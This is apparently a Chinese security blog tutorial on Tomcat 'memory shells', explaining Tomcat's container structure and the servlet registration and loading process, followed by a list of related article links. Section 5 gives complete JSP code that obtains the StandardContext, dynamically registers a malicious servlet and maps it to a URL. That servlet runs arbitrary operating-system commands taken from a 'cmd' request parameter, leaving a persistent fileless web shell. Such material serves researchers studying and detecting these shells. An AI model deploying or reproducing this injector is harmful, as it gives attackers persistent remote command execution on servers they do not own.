1. 何谓内存马?

以Tomcat为例,内存马主要利用了Tomcat的部分组件会在内存中长期驻留的特性,只要将我们的恶意组件注入其中,就可以一直生效,直到容器重启。

Java内存shell有很多种,大致分为:

1. 动态注册filter

2. 动态注册servlet

3. 动态注册listener

4. 基于Java agent拦截修改关键类字节码实现内存shell

该文主要研究Servlet内存马的原理和实现。

2. 何为Servlet?

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,它早期的名称为catalina,后来由Apache、Sun 和其他一些公司及个人共同开发而成,并更名为Tomcat。Tomcat 是一个小型的轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选,因为Tomcat 技术先进、性能稳定,成为目前比较流行的Web 应用服务器。Tomcat是应用(java)服务器,它只是一个servlet容器,是Apache的扩展,但它是独立运行的。

从宏观上来看,Tomcat其实是Web服务器和Servlet容器的结合体。

Web服务器:通俗来讲就是将某台主机的资源文件映射成URL供给外界访问。(比如访问某台电脑上的图片文件)

Servlet容器:顾名思义就是存放Servlet对象的东西,Servlet主要作用是处理URL请求。(接受请求、处理请求、响应请求)

Tomcat由四大容器组成,分别是Engine、Host、Context、Wrapper。这四个组件是负责关系,存在包含关系。只包含一个引擎(Engine):

Engine(引擎):表示可运行的Catalina的servlet引擎实例,并且包含了servlet容器的核心功能。在一个服务中只能有一个引擎。同时,作为一个真正的容器,Engine元素之下可以包含一个或多个虚拟主机。它主要功能是将传入请求委托给适当的虚拟主机处理。如果根据名称没有找到可处理的虚拟主机,那么将根据默认的Host来判断该由哪个虚拟主机处理。

Host (虚拟主机):作用就是运行多个应用,它负责安装和展开这些应用,并且标识这个应用以便能够区分它们。它的子容器通常是 Context。一个虚拟主机下都可以部署一个或者多个Web App,每个Web App对应于一个Context,当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理。主机组件类似于Apache中的虚拟主机,但在Tomcat中只支持基于FQDN(完全合格的主机名)的“虚拟主机”。Host主要用来解析web.xml。

Context(上下文):代表 Servlet 的 Context,它具备了 Servlet 运行的基本环境,它表示Web应用程序本身。Context 最重要的功能就是管理它里面的 Servlet 实例,一个Context代表一个Web应用,一个Web应用由一个或者多个Servlet实例组成。

Wrapper(包装器):代表一个 Servlet,它负责管理一个 Servlet,包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器,它没有子容器了,所以调用它的 addChild 将会报错。

看一个Tomcat的基本结构:

Webapps 对应的就是 Host 组件,ROOT 和 example 对应的就是 Context 组件(Web应用),每个Context内包含Wrapper,Wrapper 负责管理容器内的 Servlet:

3. Servlet Demo

Servlet接口类有五个接口,分别是init(Servlet对象初始化时调用)、getServletConfig(获取web.xml中Servlet对应的init-param属性)、service(每次处理新的请求时调用)、getServletInfo(返回Servlet的配置信息,可自定义实现)、destroy(结束时调用):

我们自己写一个Servlet实现类ServletDemo,主要实现service方法:

其中,对应的web.xml如下配置:

<!--Demo-->
<servlet><servlet-name>servletDemo</servlet-name><servlet-class>com.java.Memory.ServletDemo</servlet-class><init-param><param-name>contextConfigLocation</param-name><param-value>WEB-INF/dispatcher-servlet.xml</param-value></init-param>
</servlet>
<servlet-mapping><servlet-name>servletDemo</servlet-name><url-pattern>/servlet</url-pattern>
</servlet-mapping>

看到这里是不是特别像一个内存shell的存在?(只不过少了个执行参数cmd的实现过程,滑稽.jpg)区别于注入内存shell,这里是在tomcat启动前就在web.xml中配置好了servlet。

4. 注入Servlet

从前面的Servlet Demo可以看到,Servlet 的生命周期开始于Web容器的启动时(解析加载web.xml配置的servlet对象),它就会被载入到Web容器内存中,直到Web容器停止运行或者重新装入servlet时候结束。这里也就是说,一旦Servlet被装入到Web容器之后,一般是会长久驻留在Web容器之中。
要注入servlet,就需要在tomcat启动之后动态添加Servlet。Tomcat7之后的版本,在StandardContext中提供了动态添加Servlet类的方法:

根据Tomcat文档可知:

Engine,实现类为 org.apache.catalina.core.StandardEngine
Host,实现类为 org.apache.catalina.core.StandardHost
Context,实现类为 org.apache.catalina.core.StandardContext
Wrapper,实现类为 org.apache.catalina.core.StandardWrapper

值得一提的是,在 org.apache.catalina.core.StandardContext#startInternal()中表明了Tomcat启动加载的顺序:Listener -> Filter -> Servlet

protected synchronized void startInternal() throws LifecycleException {
......if(ok && !this.listenerStart()) {log.error(sm.getString("standardContext.listenerFail"));ok = false;}if(ok) {this.checkConstraintsForUncoveredMethods(this.findConstraints());}try {Manager manager = this.getManager();if(manager instanceof Lifecycle) {((Lifecycle)manager).start();}} catch (Exception var18) {log.error(sm.getString("standardContext.managerFail"), var18);ok = false;}if(ok && !this.filterStart()) {log.error(sm.getString("standardContext.filterFail"));ok = false;}if(ok && !this.loadOnStartup(this.findChildren())) {log.error(sm.getString("standardContext.servletFail"));ok = false;}super.threadStart();
......

Wrapper代表(负责管理)一个Servlet,而Context中包含了一个或多个Warpper(即Servlet)。

4.1 Servlet 生成与配置

如何创建一个Wapper,并配置好Servlet进行动态添加呢?

首先得有一个创建Wapper实例的东西,这里可以从StandardContext.createWapper()获得一个Wapper对象:

前面说到过,Context 负责管理 Wapper ,而 Wapper 又负责管理 Servlet 实例。当获取到StandardContext对象,就可以用 createWapper() 来生成一个 Wapper 对象。

接下来就是配置Servlet,探究配置过程,在 org.apache.catalina.core.StandardWapper#setServletClass() 下断点,Debug运行服务:

追溯到上一级configureStart,开始配置webconfig:

webConfig() 中读取了 web.xml:

然后根据 web.xml 配置 context:

configureContext() 中依次读取了 Filter、Listener、Servlet的配置及其映射,我们直接看 Servlet 部分:

使用context对象的createWrapper()方法创建了Wapper对象,然后设置了启动优先级LoadOnStartUp,以及servlet的Name。

接着配置了Servlet的Class。

最后将创建并配置好的 Wrapper 加入到 Context 的 Child 中。通过循环遍历所有 servlets 完成了 Servlet 从配置到添加的全过程,接下来就需要添加Servlet-Mapper了(对应web.xml中的<servlet-mapping>):

取出web.xml中所有配置的Servlet-Mapping,通过context.addServletMappingDecoded()将url路径和servlet类做映射。跟进到addServletMappingDecoded()方法的StandardContext类中,发现addServletMappingDecoded()和addServletMapping()是一样的,只不过后者是不建议使用(某些低版本的Tomcat可以尝试使用):

总结一下,Servlet的生成与动态添加依次进行了以下步骤:

1. 通过 context.createWapper() 创建 Wapper 对象;

2. 设置 Servlet 的 LoadOnStartUp 的值;

3. 设置 Servlet 的 Name;

4. 设置 Servlet 对应的 Class;

5. 将 Servlet 添加到 context 的 children 中;

6. 将 url 路径和 servlet 类做映射。

4.2 Servlet 装载过程

配置好一个Servlet Demo,并在 org.apache.catalina.coreStandardWapper#loadServlet() 下断点调试:

回溯到 org.apache.catalina.core.StandardContext#startInternal方法中可以看到,是在加载完Listener和Filter之后,才装载Servlet:

前面已经完成了将所有 servlet 添加到 context 的 children 中,this.findChildren()即把所有Wapper(负责管理Servlet)传入loadOnStartup()中处理,可想而知loadOnStartup()就是负责动态添加Servlet的一个函数:

首先获取Context下所有的Wapper类,并获取到每个Servlet的启动顺序,删选出 >= 0 的项加载到一个存放Wapper的list中。

每个Servlet的启动顺序在web.xml中声明:

<!--Demo-->
    <servlet>
        <servlet-name>servletDemo</servlet-name>
        <servlet-class>com.java.Memory.ServletDemo</servlet-class>
        <init-param>
            <param-name>contextConfigLocation</param-name>
            <param-value>WEB-INF/dispatcher-servlet.xml</param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>servletDemo</servlet-name>
        <url-pattern>/servlet</url-pattern>
    </servlet-mapping>

如果没有声明 load-on-startup 属性(默认为-1):

则该Servlet不会被动态添加到容器:

然后对每个wapper进行装载:

装载所有的 Servlet 之后,就会根据具体请求进行初始化、调用、销毁一系列操作:

装载:启动服务器时加载Servlet的实例

初始化:web服务器启动时或web服务器接收到请求时,或者两者之间的某个时刻启动。初始化工作有init()方法负责执行完成

调用:即每次调用Servlet的service(),从第一次到以后的多次访问,都是只是调用doGet()或doPost()方法(doGet、doPost内部实现,具体参照HttpServlet类service()的重写)

销毁:停止服务器时调用destroy()方法,销毁实例

5. 简单的Servlet内存马

首先写一个 Servlet 恶意类,实现为 service() 方法:

<%!Servlet servlet = new Servlet() {@Overridepublic void init(ServletConfig servletConfig) throws ServletException {}@Overridepublic ServletConfig getServletConfig() {return null;}@Overridepublic void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {String cmd = servletRequest.getParameter("cmd");boolean isLinux = true;String osTyp = System.getProperty("os.name");if (osTyp != null && osTyp.toLowerCase().contains("win")) {isLinux = false;}String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(in).useDelimiter("\\a");String output = s.hasNext() ? s.next() : "";PrintWriter out = servletResponse.getWriter();out.println(output);out.flush();out.close();}@Overridepublic String getServletInfo() {return null;}@Overridepublic void destroy() {}};
%>

之后获取到 StandardContext:

<%// 一个小路径快速获得StandardContextField reqF = request.getClass().getDeclaredField("request");reqF.setAccessible(true);Request req = (Request) reqF.get(request);StandardContext stdcontext = (StandardContext) req.getContext();
%>

根据之前研究的,按照步骤添加Servlet:

<%Wrapper newWrapper = stdcontext.createWrapper();String name = servlet.getClass().getSimpleName();newWrapper.setName(name);newWrapper.setLoadOnStartup(1);newWrapper.setServlet(servlet);newWrapper.setServletClass(servlet.getClass().getName());
%>

最后将 URL 路径与 Servlet 恶意类做映射:

<%// url绑定stdcontext.addChild(newWrapper);stdcontext.addServletMappingDecoded("/metaStor", name);
%>

保存jsp为 rce_servlet.jsp。

注入前:

注入,访问 rce_servlet.jsp:

注入后:

Servlet内存马相关推荐

  1. 『Java安全』Tomcat内存马_动态注册Servlet内存马

    文章目录 Servlet调用流程分析 1. StandardContext.startInternal注册servlet 2. StandardContextValue.invoke获取wrapper ...

  2. java Servlet内存马

    Servlet web.xml <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns=& ...

  3. Java内存马简单实现

    文章目录 Tomcat内存马 JavaWeb 基本流程 Listener型内存马 恶意Listener监听器 动态注册Listener流程 构造Listener内存马 编写恶意Listener监听器 ...

  4. java内存马分析集合

    基于tomcat Servlet内存马 web.xml <?xml version="1.0" encoding="UTF-8"?> <web ...

  5. 【网络安全】Agent内存马的自动分析与查杀

    前言 出发点是Java Agent内存马的自动分析与查杀,实际上其他内存马都可以通过这种方式查杀 本文主要的难点主要是以下三个,我会在文中逐个解答 如何dump出JVM中真正的当前的字节码 如何解决由 ...

  6. 从一个被Tomcat拒绝的漏洞到特殊内存马

    介绍 今天研究内存马相关的东西,偶然间发现一处解析BUG 一句话来说就是:Tomcat启动时会加载lib下的依赖jar,如果黑客通过上传漏洞或者反序列化漏洞在这个目录添加一个jar,重启后,某些情况下 ...

  7. 【Web安全】JSP内存马研究

    前言 最近在研究webshell免杀的问题,到了内存马免杀部分发现传统的Filter或者Servlet查杀手段比较多,不太容易实现免杀,比如有些工具会将所有注册的Servlet和Filter拿出来,排 ...

  8. dll 源码_【技术分享】 | 一个JAVA内存马的源码分析

    前言 偶然接触到了这样一个JAVA内存马,其作者也是冰蝎的作者,项目地址: https://github.com/rebeyond/memShell 正好最近在接触JAVA,借此机会学习下大佬的代码, ...

  9. 深入浅出内存马(一)

    深入浅出内存马(一) 0x01 简述 0x0101 Webshell技术历程 在Web安全领域,Webshell一直是一个非常重要且热门的话题.在目前传统安全领域,Webshell根据功能的不同分为三 ...

最新文章

  1. 能量分析攻击day01
  2. 定义物料管理的容差范围
  3. VTK:Utilities之FilenameFunctions
  4. Go的marshal unmarshal
  5. Cloud for Customer系统里的附件url,可以通过partner编程自己生成么
  6. android答辩问题,我的设计是安卓微博,答辩时老师会问些什么问题
  7. 关于解决Python中requests模块在PyCharm工具中导入问题
  8. html文字自适应屏幕居中显示,DIV+CSS经典布局[宽度自适应][自动屏幕居中]的实现...
  9. 【目瞪口呆】通信机房内部长这样
  10. npm下载以来版本问题 npm ERR! code ERESOLVE
  11. 初学vue,模仿个静态网站
  12. 企业电子邮箱怎么写?企业邮箱登录入口是什么?
  13. 路由器如何让设置桥接模式
  14. velocity源码分析:初始化之日志系统
  15. 【技术宅小伙】Git版本控制系统的使用
  16. 图形学基础 (二)关于旋转
  17. Kubernetes 一篇文章教你yum快速搭建K8s
  18. ES6 解构赋值学习
  19. 软件工程师的十种社会属性
  20. 3ds Max2016安装破解过程

热门文章

  1. 【大疆2021校招】【硬件B卷】笔试题
  2. 5款移动开发轻量jQuery的替代品
  3. 与小卡特一起学python 豆瓣_《父与子的编程之旅:与小卡特一起学Python》
  4. php opcode列表,PHP中的opcode
  5. java oio与bio_OIO在java中意味着什么?
  6. Omar Loves Candies
  7. 路由器的两个端口接在同一个交换机上_什么是路由器交换机?路由器交换机介绍!...
  8. python画气泡图_用python 来绘制气泡图的简单技巧
  9. java list map 去重复_Java中List集合去除重复数据的六种方法
  10. java imageio 保存_java-ImageIO保存回原始大小